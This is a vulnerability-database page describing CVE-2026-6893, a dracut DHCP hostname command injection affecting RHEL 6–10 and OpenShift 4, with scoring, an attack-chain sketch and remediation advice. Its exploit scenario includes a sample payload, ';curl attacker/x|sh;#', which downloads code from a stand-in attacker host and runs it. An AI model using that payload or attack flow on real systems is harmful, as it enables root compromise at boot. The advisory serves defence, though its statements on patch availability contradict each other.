Skip to main content
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Gain LAN-adjacent foothold
  2. Delivery
    Listen for victim DHCPDISCOVER at boot
  3. Exploit
    Send rogue DHCP OFFER with malicious hostname option
  4. Install
    Dracut writes unescaped value into initramfs shell script
  5. C2
    Shell evaluates injected command as root in initramfs
  6. Execute
    Drop persistence into root filesystem before pivot_root
  7. Impact
    Full host compromise on next boot

Vulnerability Assessment

Weakness
CWE
CWE-78
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Exploitation requires (1) the target to be using dracut's legacy DHCP network module - the modern NetworkManager-based dracut module is not stated as affected; (2) the target to actually perform a DHCP request from initramfs, i.e. during boot, PXE, or kdump with network enabled; (3) the attacker to be on the same adjacent Layer-2 broadcast domain as the target (CVSS AV:A) so DHCP responses are routable to the victim; and (4) the attacker's crafted DHCP OFFER carrying a malicious hostname (or comparable shell-metachar-bearing option) to be accepted before or instead of the legitimate server's response, which is the AC:H race condition. No authentication and no user interaction are required (PR:N/UI:N). Exploitation is limited by: not firing on already-booted systems with cached configuration, not applying to hosts using static IPs or NetworkManager-in-initramfs, and being constrained to attackers with LAN-adjacent positioning rather than internet-facing reach.
Impact

The CVSS vector (AV:A/AC:H/PR:N/UI:N/C:H/I:H/A:H, 7.5 High) correctly models the constraints: an attacker must be on the adjacent broadcast domain to deliver DHCP responses and must win a race against the legitimate DHCP server, which justifies AC:H, but no authentication or user interaction is required and impact is total. EPSS at 0.16% (36th percentile) and SSVC Exploitation=none / Automatable=no align - exploitation is feasible but requires LAN positioning and only fires during boot/PXE/reconfigure events, so mass automated exploitation is unlikely. The real-world priority is highest for environments that PXE-boot, frequently reboot, or run DHCP-configured initramfs on untrusted networks (e.g., labs, branch offices, multi-tenant OpenShift nodes); for stable servers behind trusted DHCP infrastructure the practical risk is lower. SSVC's Technical Impact=total combined with KEV=no and no public PoC suggests a serious but currently un-weaponized issue suitable for scheduled patching rather than emergency response.
Exploit ScenarioDerived

An attacker who has gained a foothold on a workstation, lab switch, or co-located VM on the same Layer-2 segment as a target server races the legitimate DHCP server to respond to the target's DHCPDISCOVER during boot (or a forced reboot), returning a DHCP OFFER whose hostname option contains shell metacharacters such as ;curl attacker/x|sh;#. When dracut's legacy network module writes the hostname into its temporary shell script, the payload executes as root inside the initramfs, allowing the attacker to plant a persistent backdoor in the root filesystem, exfiltrate LUKS keys unsealed during boot, or modify the kernel cmdline before pivot_root. No public exploit identified at time of analysis, but the technique mirrors well-documented DHCP option injection patterns and is straightforward to script.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 16, 2026

Root command injection in dracut's legacy DHCP path allows adjacent-network attackers to execute arbitrary commands inside the initramfs by sending crafted DHCP options (e.g., malicious hostname) that are written unescaped into temporary shell scripts. The flaw affects Red Hat Enterprise Linux 6 through 10, Red Hat Hardened Images, and OpenShift Container Platform 4, granting full system compromise during early boot. No public exploit identified at time of analysis, and EPSS is low (0.16%, 36th percentile), but SSVC rates technical impact as total.

Earlier versions of this analysis (2)
v2 Jun 16, 2026 - 19:28 cvss changed CVSS 7.5

Root command injection in dracut's legacy DHCP code path allows an attacker on the adjacent network to execute arbitrary commands inside the initramfs by sending crafted DHCP options such as a malicious hostname. Affected platforms include Red Hat Enterprise Linux 6 through 10, Red Hat Hardened Images, and OpenShift Container Platform 4. No public exploit identified at time of analysis and EPSS sits at 0.16% (36th percentile), but SSVC rates technical impact as total because successful exploitation yields pre-boot root execution.

v1 Jun 10, 2026 - 20:30 CVSS 8.8

Root command injection in dracut's legacy DHCP path allows adjacent-network attackers to execute arbitrary commands as root within the initramfs by sending crafted DHCP option values (such as a malicious hostname) that are written unescaped into temporary shell scripts. The flaw affects Red Hat Enterprise Linux 6 through 10, Red Hat Hardened Images, and OpenShift Container Platform 4. No public exploit identified at time of analysis, but the CVSS 8.8 score and pre-boot execution context make this a high-priority issue for systems performing network boot.

RemediationAI

Patch availability per vendor advisory; consult https://access.redhat.com/security/cve/CVE-2026-6893 and the linked errata for the exact fixed dracut RPM version for each RHEL major release and for OpenShift Container Platform 4 node images, then update dracut and regenerate the initramfs with 'dracut -f' so the fix is actually present in the boot image used at next reboot. If immediate patching is not possible, switch hosts off the legacy DHCP path by configuring dracut to use NetworkManager-in-initramfs (rd.neednet=1 with rd.net.dhcp.retry tuned and the 'network-manager' module instead of the legacy 'network' module), which avoids the vulnerable shell-script DHCP handling at the cost of a larger initramfs and a configuration change. As compensating controls, restrict initramfs DHCP to trusted VLANs by enabling DHCP snooping and port-security on access switches, disable PXE/network boot on systems that do not need it (trade-off: loses remote re-provisioning), or hardcode static IP configuration via 'ip=' kernel cmdline arguments for servers that don't require DHCP. Track remediation progress against Red Hat bug https://bugzilla.redhat.com/show_bug.cgi?id=2459963.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

Dracut is the initramfs generation tool used by Red Hat-family distributions to assemble the minimal root filesystem executed before the real OS boots; its legacy DHCP module configures the network during this early phase by parsing DHCP server responses. The vulnerability is a classic CWE-78 OS Command Injection: DHCP option values (notably the hostname option) are interpolated into temporary shell scripts without quoting or sanitization, so shell metacharacters embedded by an attacker are evaluated by the initramfs shell. Because initramfs runs as PID 1 with full root privileges before SELinux policy and other userspace defenses fully apply, command execution at this stage yields complete control over the boot environment and any secrets unsealed during boot.

Know when Red Hat Enterprise Linux 10 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 7.5 HIGH
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.5 HIGH

AV:A because attacker must be on the same Layer-2 segment to deliver DHCP; AC:H for the race against the legitimate DHCP server; PR:N/UI:N as boot-time DHCP needs no auth or user action; C/I/A:H from root code execution in initramfs.

3.1 AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.8 HIGH

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Adjacent
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Analysis Updated
Jun 16, 2026 - 19:28 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 16, 2026 - 19:28 vuln.today
v2 - CVSS changed
CVSS changed
Jun 16, 2026 - 19:22 NVD
8.8 (HIGH) 7.5 (HIGH)
CVE Published
Jun 10, 2026 - 19:49 nvd
HIGH 8.8

DescriptionCVE.org

A flaw was found in dracut. A remote attacker on the adjacent network can exploit this vulnerability by providing specially crafted DHCP (Dynamic Host Configuration Protocol) options, such as a malicious hostname, to a system using dracut's legacy DHCP path. These options are improperly handled and written into temporary shell scripts without proper escaping, leading to command injection. This allows the attacker to achieve root code execution within the initramfs, potentially compromising the system's boot and network behavior.

Executive ViewAI

Why It Matters

Dracut in Red Hat Enterprise Linux 6-10 and OpenShift Container Platform 4 contains a command injection vulnerability allowing adjacent-network attackers to execute arbitrary commands during system boot via malicious DHCP options. No public exploit identified at time of analysis, but the vulnerability enables pre-authentication system compromise, requiring immediate network segregation and DHCP controls for affected infrastructure.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict DHCP to isolated, trusted network segments; implement MAC filtering on DHCP servers to whitelist authorized systems only; deploy static IP configurations where operationally feasible; monitor DHCP traffic for suspicious hostname and option payloads; disable network-based boot where not required for operations.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment MSRC Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Controlled
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS Command Injection CRITICAL

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_7:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_8:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_hardened_images:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_openshift_container_platform_4:*:*:*:*:*:*:*:*

More in Red Hat Enterprise Linux 10

View all
CVE-2026-18663 MEDIUM
5.9 Aug 12

Heap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash
CVE-2026-4631 CRITICAL POC
9.8 Apr 07

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the h
CVE-2026-4480 CRITICAL POC
9.0 May 26

Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via craft
CVE-2026-101258 HIGH POC
7.8 Oct 06

Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript
CVE-2026-96889 HIGH POC
7.8 Sep 23

Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity
CVE-2026-4775 HIGH POC
7.8 Mar 24

A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to

CVE-2026-114406 MEDIUM POC
6.8 Oct 21

The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe
CVE-2026-18922 CRITICAL
9.8 Sep 07

Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo
CVE-2026-14544 CRITICAL
9.8 Jul 03

Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter

CVE-2026-76578 CRITICAL
9.8 Sep 07

Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a
CVE-2026-102560 CRITICAL
9.8 Sep 29

A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes
CVE-2026-5121 HIGH
7.5 Mar 30

Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2020-9054 CRITICAL POC
9.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0

Same technique RCE

View all
CVE-2021-44228 CRITICAL POC
10.0
CVE-2017-7269 CRITICAL POC
9.8
CVE-2022-47966 CRITICAL POC
9.8
CVE-2012-4681 CRITICAL POC
9.8
CVE-2023-3519 CRITICAL POC
9.8
CVE-2015-5119 CRITICAL POC
9.8
CVE-2016-4117 CRITICAL POC
9.8
CVE-2015-3113 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected
SLES15-SP6-CHOST-BYOS-Aliyun Affected
SLES15-SP6-CHOST-BYOS-Azure Affected
SLES15-SP6-CHOST-BYOS-EC2 Affected

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-6893 ADVISORY https://ubuntu.com/security/notices/USN-8828-1 ADVISORY https://vuldb.com/vuln/370254 REF https://access.redhat.com/errata/RHSA-2026:26532 REF https://access.redhat.com/errata/RHSA-2026:26533 REF https://access.redhat.com/errata/RHSA-2026:26534 REF https://access.redhat.com/errata/RHSA-2026:26713 REF https://access.redhat.com/errata/RHSA-2026:57580 REF https://access.redhat.com/errata/RHSA-2026:57772 REF https://access.redhat.com/errata/RHSA-2026:57775 REF https://access.redhat.com/errata/RHSA-2026:57785 REF https://access.redhat.com/errata/RHSA-2026:61252 REF https://access.redhat.com/errata/RHSA-2026:62269 REF https://access.redhat.com/errata/RHSA-2026:62409 REF https://access.redhat.com/errata/RHSA-2026:62549 REF https://access.redhat.com/errata/RHSA-2026:63044 REF https://access.redhat.com/errata/RHSA-2026:65839 REF https://access.redhat.com/errata/RHSA-2026:65851 REF https://access.redhat.com/errata/RHSA-2026:67857 REF https://access.redhat.com/errata/RHSA-2026:69118 REF https://access.redhat.com/errata/RHSA-2026:69119 REF https://access.redhat.com/errata/RHSA-2026:70586 REF https://access.redhat.com/errata/RHSA-2026:70615 REF https://access.redhat.com/errata/RHSA-2026:74499 REF https://access.redhat.com/errata/RHSA-2026:79114 REF https://access.redhat.com/errata/RHSA-2026:90272 REF https://access.redhat.com/security/cve/CVE-2026-6893 REF https://bugzilla.redhat.com/show_bug.cgi?id=2459963 REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-6893.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy